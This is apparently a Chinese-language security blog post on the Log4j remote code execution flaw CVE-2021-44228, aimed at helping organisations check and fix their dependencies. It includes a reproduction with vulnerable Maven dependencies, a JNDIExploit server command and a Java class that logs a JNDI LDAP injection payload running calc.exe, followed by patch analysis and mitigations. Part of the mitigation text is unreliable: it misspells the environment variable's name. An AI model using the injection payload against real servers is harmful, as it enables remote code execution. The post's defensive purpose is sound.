CVE-2021-44228:Apache Log4j RCE

文章前言

本篇文章我们主要介绍关于CVE-2021-44228:Apache Log4j RCE漏洞的自检与修复,帮助甲方人员尽快修复项目中存在的不安全依赖

漏洞概述

Apache Log4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息,⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。该漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,此次漏洞触发条件为只要外部⽤户输⼊的数据会被⽇志记录,即可造成远程代码执⾏。

漏洞复现

Step 1:pom.xml中增加以下依赖:

    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.14.1</version>
    </dependency>

CVE-2021-44228:Apache Log4j RCE

 Step 2:之后使用JNDIExploit启动JNDI并注入Server

java -jar JNDIExploit.jar -i 127.0.0.1

Step 3:构造以下利用代码

package org.log4js;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jAttack {
    private static final Logger logger = LogManager.getLogger(Log4jAttack.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kLmV4ZSAvYyBjYWxjLmV4ZQ==}");
    }
}

CVE-2021-44228:Apache Log4j RCE

 Step 4:执行程序

CVE-2021-44228:Apache Log4j RCE

补丁分析

Log4j-2.15.0-rc1

Log4j-2.15-rc1默认关闭lookup功能,且增加了白名单校验

CVE-2021-44228:Apache Log4j RCE

CVE-2021-44228:Apache Log4j RCE

Log4j-2.15.0-rc2

Log4j-2.15-rc1的修复版本中在异常发生时未进行return,之后会直接this.context.lookup,从而再次导致RCE

CVE-2021-44228:Apache Log4j RCE

 Log4j-2.15.0-rc2的修复方案是直接return,有效解决了上文的绕过

try{
    ....
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);

Apache Log4j 2.15.0

据悉Apache Log4j 2.15.0存在信息泄露漏洞,可用于从受影响的服务器下载数据

漏洞自检

检测项目是否使用不安全的log4j-core依赖项,下面是一些扩展的受影响的依赖:

GitHub - LoRexxar/log_dependency_checklist: Dependencies with Log4j2 Checklist

CVE-2021-44228:Apache Log4j RCE

CVE-2021-44228:Apache Log4j RCE

甲方修复

1、建议尽快升级到 2.16.0版本

2、禁止使用log4j服务器外连,升级JDK到11.0.1 8u191 7u201 6u1版本之后

3、紧急缓解措施:

(1) 修改JVM参数:-Dlog4j2.formatMsgNolookups=true

(2) 修改配置log4j2.formatMsgNolookups=True

(3) 将系统环境变量FORMAT_MESSAGES_PATTERN_IDSABLE_LOOKUPS设置未true

上一篇:2021-09-26 absl.flags._exceptions.DuplicateFlagError:


下一篇:Java中的Exception